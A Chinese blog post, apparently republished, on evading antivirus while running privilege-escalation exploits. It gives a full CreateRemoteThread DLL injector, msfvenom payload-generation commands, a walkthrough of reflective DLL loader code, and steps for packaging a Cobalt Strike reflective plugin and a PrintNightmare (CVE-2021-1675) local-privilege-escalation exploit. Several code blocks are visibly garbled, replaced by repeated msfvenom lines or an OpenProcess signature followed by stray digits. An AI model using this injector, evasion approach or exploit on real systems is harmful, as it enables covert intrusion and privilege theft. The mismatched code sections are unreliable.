0x0 前言
本文主要是笔者归纳一些实践经验,针对常见的AV拦截落地提权EXP进行的一些躲避尝试的记录。本文内容并不深入原理,但会尽量说明技术的基本体系和操作的核心步骤,即使你是个萌新,依然可以轻松且愉快地阅读并进行实践。
0x1 DLL注入概念
DLL注入-维基百科
DLL注入(DLL Injection)是一种计算机编程技术,它可以强行使另一个进程加载一个动态链接库(DLL)以在其地址空间内运行指定代码。常见用途是改变原先程序的行为,实现程序作者本未设计或可预期的结果。比如用于hook系统调用、读取密码框内容。
将任意代码注入任意进程的程序被称为DLL注入器。
通俗来说,DLL注入的目标对象是某一进程,然后在该进程的地址空间上注入DLL中的代码并且执行,主要是起到了动态修改程序行为的作用。合理地来说,也可用于动态拓展程序功能,即起到增强作用。
0x2 DLL注入方式
下面主要介绍两种注入反射方式,对比差异,来帮助学习。
0x2.1 常规DLL注入
常规的DLL注入方式是远程线程注入(CreateRemoteThread)步骤如下:1.打开目标进程句柄2.开辟目标进程空间,用于存放需要注入的DLL文件路径3.获取LoadLibrary的地址4.通过CreateRemoteThread函数调用LoadLibrary,传入DLL文件路径的地址作为参数,进行远程动态调用。
技术的核心原理:我们注入器的进程的内存空间是没办法让目标进程访问到的,而核心调用DLL的基础原理是程序执行LoadLibrary函数去加载指定的DLL,所以我们必须要在目标进程空间存放DLL的文件地址(这样目标进程才能调用到),由于kernel.dll加载的地址在所有进程都是一样的,且LoadLibrary是其导出模块,其RVA地址是固定在PE结构的,所以注入器获取到的API地址是一样,可作用于目标进程,这样我们就可以通过远程执行目标进程的新线程,然后线程执行LoadLibrary函数加载指定DLL实现DLL注入。
关于为什么系统模块加载地址会相同,可以理解为设计需要,可查阅 http://www.nynaeve.net/?p=198。
先采用VS2019 编写一个简单的DLL: hello.dllDLL_PROCESS_ATTACH状态时执行MessageBoxA:
MessageBoxW(NULL, TEXT("Hello i am hello!"), TEXT("box"), MB_OK);
当然如果你本机装有msfvenom,可以更加方便生成一个dll:
msfvenom -p windows/exec cmd=calc.exe -f dll -o calc32.dll # 生成32位dll
msfvenom -p windows/x64/exec cmd=calc.exe -f dll -o calc64.dll # 生成64位dll
整完,开始编写注入器,用到核心API函数如下:OpenProcess
HANDLE OpenProcess(
DWORD dwDesiredAccess, //PROCESS_ALL_ACCESS 进程控制的权限
BOOL bInheritHandle, //false, 句柄是否可以被继承
DWORD dwProcessId //目标进程pid,某些系统进程会出错
);
VirtualAllocEx
LPVOID VirtualAllocEx(
HANDLE hProcess, //目标进程句柄 PROCESS_VM_OPERATION
LPVOID lpAddress, //NULL,自动分配空间地址
SIZE_T dwSize, //单位byte, 分配的空间区域大小
DWORD flAllocationType, //MEM_COMMIT 内存类型
DWORD flProtect //PAGE_READWRITE, 内存区域权限可读可写
);
WriteProcessMemory
BOOL WriteProcessMemory(
HANDLE hProcess, //目标进程句柄 PROCESS_VM_WRITE and PROCESS_VM_OPERATION
LPVOID lpBaseAddress, //写入内容的基地址
LPCVOID lpBuffer, //指向写入数据的指针
SIZE_T nSize, //写入数据的大小
SIZE_T *lpNumberOfBytesWritten //NULL,不记录写入字节数目
);
CreateRemoteThread
HANDLE CreateRemoteThread(
HANDLE hProcess, //目标句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,//NULL,默认描述符
SIZE_T dwStackSize, //0,使用默认栈大小
LPTHREAD_START_ROUTINE lpStartAddress,// 指针指向远程调用函数的地址
LPVOID lpParameter, //指针指向参数地址
DWORD dwCreationFlags,//0,立刻执行
LPDWORD lpThreadId //NULL,不返回验证信息
);
GetModuleHandle
HMODULE GetModuleHandleA(
LPCSTR lpModuleName //kernel32.dll 模块名称
);
GetProcAddress
FARPROC GetProcAddress(
HMODULE hModule, //模块句柄
LPCSTR lpProcName //导出函数名称
);
下面开始编写我们的注入器,我的编程规则是先声明必须的变量,这样代码写起来有层次感。VS2019创建个窗口程序项目DllInject:
#include <iostream>
#include <Windows.h>
using namespace std;
int main(int argc, char ** argv)
{
// declare varibales
HANDLE processHandle;
LPVOID remoteAllocAddr;
BOOL writeRet;
HMODULE hModule;
HANDLE hThread;
LPTHREAD_START_ROUTINE dwLoadAddr;
char* dllPath;
/*
wchar_t tPath[] = TEXT("C:\\Users\\god\\Desktop\\test\\hello.dll");
LoadLibraryW(tPath);
exit(0);
*/
if (argc < 2) {
printf("Usage: DllInject.exe pid\n");
exit(0);
}
DWORD pid = atoi(argv[1]);
dllPath = argv[2];
printf("[+] Target pid: %d\n", pid);
size_t len = strlen(dllPath) + 1;
printf("[+] Inject dll: %s len:%d\n", dllPath, len);
//step 1
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (GetLastError() == NULL) {
printf("[+] OpenProcess success!\n");
}
else {
printf("[-] OpenProcess Fail!\n");
printf("[-] Code:%d Error : %d \n", processHandle, GetLastError());
exit(0);
}
//wchar_t dllPath[] = TEXT("C:\\Users\\god\\Desktop\\test\\hello.dll");
// step 2
remoteAllocAddr = VirtualAllocEx(processHandle, NULL, len, MEM_COMMIT, PAGE_READWRITE);
if (remoteAllocAddr == NULL) {
printf("[-] VirtualAllocEx fail!\n");
exit(0);
}
else {
printf("[+] VirtualAllocEx success: %p\n", remoteAllocAddr);
}
// step 2
writeRet = WriteProcessMemory(processHandle, remoteAllocAddr, (LPVOID)dllPath, len, NULL);
if (writeRet) {
printf("[+] WriteProcessMemory success! \n");
}
else {
printf("[-] WriteProcessMemory fail! \n");
exit(0);
}
// step 3
hModule = GetModuleHandle(TEXT("kernel32.dll"));
dwLoadAddr = (PTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");
if (hModule && dwLoadAddr) {
printf("[+] GetModuleHandle success address:%p\n", hModule);
printf("[+] GetProcAddress success address: %p\n", dwLoadAddr);
}
else {
printf("[-] step 3 fail\n");
exit(0);
}
// step 4
hThread = CreateRemoteThread(processHandle, NULL, 0, dwLoadAddr, remoteAllocAddr, 0, NULL);
if (hThread == NULL) {
printf("[-] CreatRemoteTread error! \n");
}
else {
printf("[+] All done!\n");
}
// end
CloseHandle(processHandle);
}
代码相对而言,非常简单易懂,功能也较为丰富,命令行可自定义进程和指定DLL文件。
注入效果如下:
这里只能64位注入64位DLL,因为64位注入器如果注入32位进程则地址会不一样,导致失败。
0x2.2 DLL反射注入
反射DLL是指不依赖于系统自带的LoadLibrary函数,通过将一个完整的功能的DLL文件写入到目标进程空间,然后通过远程执行一个地址无关的ReflectiveLoader函数用于在目标进程空间内存中对DLL进行展开和修补,最终实现类LoadLibrary的功能,去调用DLLMain函数,完成DLL的加载过程。
相比于常规的DLL注入,反射注入能够躲避ProcessExplorer、Procexp64等工具的module检查,文件也无需落地,只能从内存层面来做检测,操作来说更加隐蔽,缺点就是因为使用了很多FUZZ和循环进行定位,实现代码较为复杂,代码量也比较大。
一般DLL在内存加载的流程(非权威):1.检索DLL,文件数据映射到内存中2.检查PE文件有效性(DOS、PE header)3.分配PE文件中的SizeOfImage的内存大小4.解析节区数据,根据PE中的区段对齐大小和VA偏移拷贝到内存空间中5.实际加载到进程地址空间与PE文件中指定的基地址不一致,则需要修复重定向表。6.修复导入表,加载DLL依赖的其他DLL7.根据每个节区的Characteristics属性设置内存页访问属性8.通过AddressOfEntryPoint获取到DllMain的函数地址,进行调用。
LoadLibrary的具体执行流程应该比这个会更为复杂,处理的细节也会更多,处理的步骤可能也不一样,但是程序执行的核心还是Rip执行内存的指令代码,是不断寻址的过程,只要指令和数据正确,便能正确执行。
实际DLL反射加载的流程:下面基于一个较为出名但比较古老却仍然被CS、MSF使用活跃的项目代码进行分析。
有趣的是项目在8年前就已经不再更新,至于为什么叫反射,从结果来说,通过外部调用自身编写的ReflectLoader函数,然后实现动态加载自己,动态获取DLL的所有功能,实现完整的控制流程。
Github:ReflectiveDLLInjection
Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host.
这里我从完整的执行流程作为时间线进行debug分析:1)Inject项目入口Inject.C
注入部分LoadLibraryR.c
后面就是常规的远程调用函数执行的流程:
这里我选择跟进GetReflectiveLoaderOffset前面先通过预编译判断编译的注射器和DLL的位数是不是一致的,否则return。一致的话,就开始静态解析PE结构的导出表,
解读上图的代码,
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
获取到PE头的NTheader,解析导出表,获取到名称、地址、序号的数组基址
然后根据NumberOfNames导出函数数目,这里只有一个导出函数,然后数组和序号地址根据4字节偏移开始递增,将uiNameArray转换为char类型比较是否ReflectiveLoader函数,如果是则,加上序号*4+((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions作为ReflectiveLoader函数,至此完成函数的地址定位工作。
这里不用寻找也可以,调用该函数的时候,放入一个参数存放注射器分配的DLL空间,这样的话通用性会差点,因为有时候我们可能没办法直接获取到地址,只能盲写之类的。
这种能直接通过地址进行调用,而无须进行修正就能够正常运行的函数,采用了地址无关的代码实现,基本的原理实现是将指令部分需要修改的分离出来跟数据部分放在一起,保持指令部分不变,或者保持指令部分不需要改变,不去引用绝对地址。
2)reflective_dll项目
这个函数首先调用caller,其实现是[_ReturnAddress()],(https://docs.microsoft.com/zh-cn/cpp/intrinsics/returnaddress?view=msvc-160)用于返回caller的下一条指令地址(属于ReflectiveLoader进程空间的地址),
然后通过不断在内存回溯,暴力匹配DLL文件DOS头MZ来确认DLL的加载地址。
接下来需要利用PEB来获取进程加载的module模块的地址,只获取kerner.dll、ntdll.dll 这两个执行文件默认会加载的系统模块,从而使用他们的导出函数。
msfvenom -p windows/exec cmd=calc.exe -f dll -o calc32.dll # 生成32位dll
msfvenom -p windows/x64/exec cmd=calc.exe -f dll -o calc64.dll # 生成64位dll
0
原理可以查阅:获取kernel32.dll基址PEB枚举进程所有模块
这里为了帮助萌新理解,可以简单理解为一种介质,来获取到模块的地址,当然你也可以自己调试一个正常的进程,去查看PEB与进程模块地址的关系来验证下面的说法。
msfvenom -p windows/exec cmd=calc.exe -f dll -o calc32.dll # 生成32位dll
msfvenom -p windows/x64/exec cmd=calc.exe -f dll -o calc64.dll # 生成64位dll
1
x64系统寄存器位置gs:[0x60]存放的是PEB结构的地址放入uiBaseAddress
0x0c偏移处即Ldr是一个指向PEB_LDR_DATA结构的指针,代码选择了内存顺序加载InMemoryOrderModuleList,它是一个双链表结构,成环形,链表指向的数据结构便是module加载的信息,其中包括DllBase、BaseDllName等信息,
PEB_LDR_DATA structure (winternl.h)
遍历进程模块,进行hash比较,然后下面一大段代码,while一层用于全部遍历,主要找到两个关键module,KERNEL32DLL(里面继续循环3次,找到关键函数LoadLibraryA,GetProcAddress,VirtualAlloc)和NTDLL(循环一次,找到NtFlushInstructionCache),代码实现较为简单直接粗暴,作者的注释很赞。
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;
// get the next entry
uiValueA = DEREF( uiValueA );
}
目的是最终获取到下面4个函数,用于在内存展开DLL和刷新指令。
msfvenom -p windows/exec cmd=calc.exe -f dll -o calc32.dll # 生成32位dll
msfvenom -p windows/x64/exec cmd=calc.exe -f dll -o calc64.dll # 生成64位dll
3
接下来重新分配一个新的空间,大小为PE中设置的内存展开大小,直接复制PE头到新空间。
msfvenom -p windows/exec cmd=calc.exe -f dll -o calc32.dll # 生成32位dll
msfvenom -p windows/x64/exec cmd=calc.exe -f dll -o calc64.dll # 生成64位dll
4
复制所有区段
msfvenom -p windows/exec cmd=calc.exe -f dll -o calc32.dll # 生成32位dll
msfvenom -p windows/x64/exec cmd=calc.exe -f dll -o calc64.dll # 生成64位dll
5
解析导入表,根据PE中IAT和INT来完成地址修正。
msfvenom -p windows/exec cmd=calc.exe -f dll -o calc32.dll # 生成32位dll
msfvenom -p windows/x64/exec cmd=calc.exe -f dll -o calc64.dll # 生成64位dll
6
修正重定位表,正常来说像exe等可执行文件,32寻址可占据4g=2^2 2^10 2^10 * 2^1064位则高达2^34g,不过实际上用户空间32位只有2g,64位为8TB。(实际物理内存跟系统支持有关,这里是虚拟空间内存),然后每个程序都可以独享一个这样的内存空间,随意分配地址。
程序编译时每个模块都有由链接器给出优先加载地址ImageBase,链接器生成的指令地址是在这个基础上的,对于EXE程序,拥有自己独立空间,不会被占用,而DLL动态链接库载入的地址可能被调用的应用程序占据,此时则需要进行重定位,DLL内部考虑这种情况,自身维护了一个重定位表。
msfvenom -p windows/exec cmd=calc.exe -f dll -o calc32.dll # 生成32位dll
msfvenom -p windows/x64/exec cmd=calc.exe -f dll -o calc64.dll # 生成64位dll
7
最后则是获取DLL的入口地址,去正常执行。
msfvenom -p windows/exec cmd=calc.exe -f dll -o calc32.dll # 生成32位dll
msfvenom -p windows/x64/exec cmd=calc.exe -f dll -o calc64.dll # 生成64位dll
8
默认项目里面的预处理器定义了REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,最终就会带上参数去执行DLLMain,其实这里设计有些许冗余,stub部分其实也被兼容的了。
0x2.3 小结
DLL反射加载技术是一种内存层面的自加载技术,理解起来还是比较容易的,但是实现过程需要大量的debug,所以很感谢前人所做的努力。
相比于常规的DLL注入,DLL反射加载注入,能够有效地实现隐藏模块进而躲避AV的作用,但是同样可以观察到,只要能够对VirtualAlloc进行用户层Hook,依然可以获取到完整的DLL进行特征匹配查杀,点到这里,那么过卡巴斯基的路子不言而喻。
0x3 Cobalt Strike 反射注入插件
众所周知,Cobalt Strike的核心beacon.dll也是通过DLL反射进行加载的,身边有大佬已经对beacon.dll进行重写了,然后CS的一些扩展功能,比如键盘记录DLL,同样也是传递DLL进行反射加载调用的,也就是说Cobalt Strike本身就内置了一个类似DLL反射加载注入器的模块。
得益于CS的高度自定义,其插件功能开放了这个模块的调用:bdllspawn文档说明如下:
Spawn a Reflective DLL as a Beacon post-exploitation job.
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
$2 - the local path to the Reflective DLL
$3 - a parameter to pass to the DLL
$4 - a short description of this post exploitation job (shows up in jobs output)
$5 - how long to block and wait for output (specified in milliseconds)
Note部分还介绍了这个功能会自动根据DLL的类型来派生对应的进程,需要在DLL_PROCESS_ATTACHcase处编写代码,支持传入一个char指针类型的参数,然后输入输出使用STDOUT,用fflush(stdout)进行输出,关闭进程退出则使用ExitProcess(0)。
0x3.1 Demo插件编写
下载其他人的Example:Stephen Fewer's Reflective DLL Injection Project
msfvenom -p windows/exec cmd=calc.exe -f dll -o calc32.dll # 生成32位dll
msfvenom -p windows/x64/exec cmd=calc.exe -f dll -o calc64.dll # 生成64位dll
9
用visual stdio 2019打开,替换DLLMain.cpp为如下内容:
HANDLE OpenProcess(
DWORD dwDesiredAccess, //PROCESS_ALL_ACCESS 进程控制的权限
BOOL bInheritHandle, //false, 句柄是否可以被继承
DWORD dwProcessId //目标进程pid,某些系统进程会出错
);
0
主要是注释了原来的功能,引用官方编写的更为简单直观地功能,主要是进行参数的输出,类似hellworld,选择release 64位编译DLL:
然后我们编写个简单的cna插件:
HANDLE OpenProcess(
DWORD dwDesiredAccess, //PROCESS_ALL_ACCESS 进程控制的权限
BOOL bInheritHandle, //false, 句柄是否可以被继承
DWORD dwProcessId //目标进程pid,某些系统进程会出错
);
1
打包起来:
加载执行效果如下:
到此,我们已经能够在Cobalt Strike实现简单的DLL反射加载。
0x4 Printnightmare LPE 简析
当时选用Printnightmare作为提权,就想着了解下它的历史。下面是自己根据收集的资料进行推断分析,担心起到误导作用,本节建议跳过不看,也欢迎师傅看过之后找我一起交流,尝试弄个1day的exp。
0X4.1 CVE-2021-1675
CVE-2021-1675-LPE 之所以能够成为我的选择,取决:1.时效性强2.利用简单(这个很重要)3.全版本通杀其中第三点window server 从2008通杀到2009window 从win7通杀到win10Windows Print Spooler Remote Code Execution Vulnerability这个洞本质是权限绕过,通过spoolsv.exe进程在RpcAddPrinterDriverEx接口传入第三个未在官方文档提及的flag参数0x00008000即可绕过权限验证。函数说明: AddPrinterDriverEx function
AddPrinterDriverEx 函数安装本地或远程打印机驱动程序并链接配置、数据和驱动程序文件
漏洞利用过程,则是低权限用户可将一个恶意的DLL文件作为驱动程序被加载。
虽然现在笔者用window,但是没有配ida,这里就没有过多去验证,主要是参考别人的成果。不过有趣的是,我查阅了spoolsv.exe很多历史漏洞,其中添加驱动爆出过多次问题,虽然具体成因不太一样。printnightmare这个洞利用手法并不复杂,属于逻辑问题,难一点的层面是逆向出整个流程,有时候发现洞并不意味着你理解洞的成因。
故为了避免误人子弟,这里主要从利用角度来说明EXP的实现代码
Windows Print Spooler 服务最新漏洞 CVE-2021-34527 详细分析这篇文章展示EXP利用+调试过程,很好地说明了EXP参数的选用原因。
自写简单POC:
HANDLE OpenProcess(
DWORD dwDesiredAccess, //PROCESS_ALL_ACCESS 进程控制的权限
BOOL bInheritHandle, //false, 句柄是否可以被继承
DWORD dwProcessId //目标进程pid,某些系统进程会出错
);
2
这里驱动路径要自己找个有效的打印机驱动,我这里用了系统自带的UNIDRV.DLL,这个文件在哪里获取,下面有说。
因为每个系统的UNIDRV存放文件路径不一致,Twiter和github有不少师傅分享了自动获取UNIDRV.DLL的路径方法,做到了exp适配多个版本系统,因为影响的系统的spoolsv.exe大都是在64-bit运行的,所以你的payload.dll要对应到64位)。
HANDLE OpenProcess(
DWORD dwDesiredAccess, //PROCESS_ALL_ACCESS 进程控制的权限
BOOL bInheritHandle, //false, 句柄是否可以被继承
DWORD dwProcessId //目标进程pid,某些系统进程会出错
);
3
0x4.2 CVE-2021-34527
了解这个洞,能够使笔者对printnight有更深的认识。
CVE-2021-1675 漏洞点发生在RpcAddPrinterDriver但是观察上面的POC可以发现,我们是通过AddPrinterDriverExW来调用我们细读文档,函数的第一个参数:
pNameA pointer to a null-terminated string that specifies the name of the server on which the driver should be installed. If this parameter is NULL, the function installs the driver on the local computer.可以发现这里可以指定一个server的名称,为空的话,则代表安装到本地根据腾讯给出的公告,1675调用的漏洞链是:AddPrinterDriverExW->RpcAddPrinterDriver,但是这个过程没给出具体分析。
网上很多文章都说CVE-2021-34527漏洞点发生在RpcAsyncAddPrinterDriver笔者去查阅了漏洞官方通告并感谢两个大佬(原作者)。
然后又去翻Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)最初发的POC,公布原因:两位大佬以为自己撞洞。https://github.com/numanturle/PrintNightmare
是不是看完很迷惑,笔者到这里已经自闭,但仍然坚持进行信息检索。
翻了下twitter的时间线:当时有人测试出了CVE-2021-1675,在DC环境是可以成功的,还有具体的图,说明只是修补了本地的洞。
其中官方信息提到CVE-2021-1675关于win2019 这个洞的补丁是KB5003646,如图所示,但exp依然打成功了。后继续翻@gentilkiwi的twitter 也发现了很多有趣的探讨和利用,等待后续的深入研究。
0x4.3 小结
有趣的是,除了这两个CVE-2021-1675、CVE-2021-34527被广泛分析之外,未披露POC的有CVE-2021-34481、CVE-2021-36958,猜测是通过寻找新的端点绕过权限验证来RCE。笔者对这个漏洞的前世今生很感兴趣,因为目前环境并不允许,也与本文主题关系不大,所以就此作罢,后面会对这个漏洞进行学习和实操分析,梳理好这个时间线。
0x5 EXP->CS插件
前人的肩膀:CVE-2021-1675-LPE这里利用的是CVE-2021-1675,直接设置server那么为空,来本地加载驱动。
目标:\1) 可作为提权模块,成为elevate的一个子项\2) 添加到命令行,指定加载DLL文件
部分代码如下:
HANDLE OpenProcess(
DWORD dwDesiredAccess, //PROCESS_ALL_ACCESS 进程控制的权限
BOOL bInheritHandle, //false, 句柄是否可以被继承
DWORD dwProcessId //目标进程pid,某些系统进程会出错
);
4
编译之前记得处理下预处理器:
HANDLE OpenProcess(
DWORD dwDesiredAccess, //PROCESS_ALL_ACCESS 进程控制的权限
BOOL bInheritHandle, //false, 句柄是否可以被继承
DWORD dwProcessId //目标进程pid,某些系统进程会出错
);
5
因为这个洞是利用DLL加载来实现LPE的,所以你的利用DLL必须要支持过静态查杀(比较简单)经过测试,能过window server的window defender,但360会拦截spoolsv进程加载未签名的驱动(可疑程序拦截)。
项目地址:https://github.com/mstxq17/CVE-2021-1675_RDL_LPE
0x6 总结
本文是偏应用实践类型的文章,其中笔者把日常渗透的一个小场景需求作为出发点,通过对比学习DLL的两种注入手段,理解了Cobalt Strike的DLL反射加载原理,接下来通过简单分析学习PrintNightMare漏洞后,用CS的插件实现在内存层面利用漏洞,从而躲避AV查杀,完成提权需求。
文章来源于:https://xz.aliyun.com/t/10191
若有侵权请联系删除
加下方wx,拉你一起进群学习
往期推荐
还没有评论,来说两句吧...